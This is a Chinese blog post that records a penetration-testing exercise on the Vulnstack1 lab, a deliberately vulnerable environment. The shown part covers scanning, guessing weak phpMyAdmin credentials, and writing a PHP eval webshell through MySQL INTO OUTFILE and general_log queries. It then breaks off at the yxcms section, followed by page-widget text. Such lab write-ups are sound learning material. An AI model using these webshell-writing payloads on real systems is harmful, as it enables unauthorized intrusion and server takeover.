红日靶场vulnstack1 内网渗透学习

本文详细记录了红日靶场的内网渗透学习过程,包括信息收集、phpmyadmin与yxcms的getshell方法,以及利用MSF进行内网信息收集和永恒之蓝攻击。通过CS派生会话给公网MSF,尝试对内网主机进行横向渗透,但永恒之蓝攻击未成功。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

前言:

信息收集:

phpmyadmin getshell

日志写shell

yxcms getshell

植入后们:

内网域环境信息收集:

基于msf 进行信息收集:

 基于msf 内网信息收集:

内网收集思路总结:

CS派生会话给公网MSF

 CS开启监听:

 3.cs 派生会话。

​编辑

 MSF 利用MSF小记 | 命令 (lmlphp.com):

 MSF进行 永恒之蓝攻击:

 MSF 内网端口扫描。

利用ms17-010

总结:


前言:

仅记录学习过程,期间也会借鉴其他师傅的文章

靶场环境搭建的话,可以参考其他师傅。

我的环境:

kali (攻击机):192.168.92.129

Windows 7 (web服务器):192.168.92.128(外网和kali连通)、192.168.52.143(内网)

Windows 2008 (域控):192.168.52.138

Win2k3 (域管):192.168.52.141

信息收集:

因为web 网页是起来了,如果我们不知道对方的环境,借此,我们可以对这个网站进行扫描。

看到80端口起了HTTP服务, 3306端口起了 mysql

访问一下此 IP 的80 端口。

 

是一个phpinfo() 针探页面 ,以这个网址为根目录,再扫描一下其他路径。工具挺多,得看字典了。我使用的 dirsearch

扫到了 phpinfo.php  还有一个phpmyadmin 后台,这里应该还有一个beifen.rar,字典不够强

 访问phpmyadmin 好像是要我们弱口令登录,如果是公共机的话,一般都会存在弱口令的,这里试下admin admin root root  admin  123456 等弱口令,试出来是root root  如果实在是不行,可以用bp爆破。

拿到 pgpmyadmin 后 ,接下来就要用phpmyadmin 去getshell 。

phpmyadmin getshell

一、 into outfile 和into dumpfile 写马

这两个可以写马,但是有区别的,一个可以写多行,另一个只能写一行,具体不清楚,并且他们使用的时候需要条件,就是配置文件中的 secure_file_prive 这个值是需要要求的。

我们可以查看一下secure_file_prive 值:

show variables like "%secure_file%";

into写入文件:
使用需看要secure_file_priv的值。

当value为“null”时,不允许写入或者读取

当value为“空”时,允许读取任意文件

当value为"/tmp"时,只允许在/tmp目录中写入和读取

value可也已设置为其他路径。

这里 show variables like "secure_file_prive%" 查询的结果为空,就行不通了。

 看到这里的值为NULL 所以是 不允许写入或者读取文件。

ps  如果想要通过into 写入文件:

修改value的值:
windows下修改配置文件:mysql.ini
linux修改配置文件:my.cnf

如果我们可以利用写写文件的命令时,我们需要知道当前目录的情况,这需要一个查询当前目录的指令:

select @@basedir

 知道当前目录情况,直接写马就好了

然后通过执行select ‘<?php eval($_POST[cmd]);?>’ into outfile ‘C:/phpStudy/www/shell.php’;将木马写入到网站的根目录。 

select 1,'<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/test.php'#

select 1,'<?php eval($_POST[cmd]);?>' INTO dumpfile '/var/www/html/test.php'#
#区别在于使用outfile时,文件中一行的末尾会自动换行

写入失败。通过查询得知这里不能使用into outfile的方式写入shell。
可以通过执行“show variables like ‘%secure_file%’;”查询下是否能直接写入shell。这里secure_file_priv的值为NULL,说明不能使用into outfile的方式写入shell。
 

日志写shell

应该是用的最多的一个姿势了,因为日志的文件名可控,而且 写入的位置也可控。

查看日志状态:

show variables like ‘%general%’;

 general_log  和general_log_file  的简述:

  • mysql打开general_log 开关后,所有对数据库的操作都将记录在general_log_file指定的文件目录中 以原始的状态来显示,如果将general_log开关打开,general_log_file 指定一个php 文件,则查询的操作 将会全部写入到 general_log_file 指定的文件,可以通过访问 general_log_file 指定的文件来获取 webshell。

上面看到 general_log 的value是off  我们需要手动开启。

set global general_log = "ON";    //开启记录查询操作
set global general_log_file=‘C:/phpStudy/www/1.php’,指定日志写入到网站根目录的 1.php 文件.

 成功修改选项。 指定日志会写入到网站根目录的 1.php文件里。

也就是说,我们执行查询语句,他会把操作的内容写入到1.php 里面,所以我们执行

select '<?php eval($_POST[a]);?>'

访问 1.php 

有报错,说明确实是写进去了。windows10 用蚁剑连一下。

 

成功连接。看到有个beifen,其中是yxcms的源码。

yxcms getshell

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值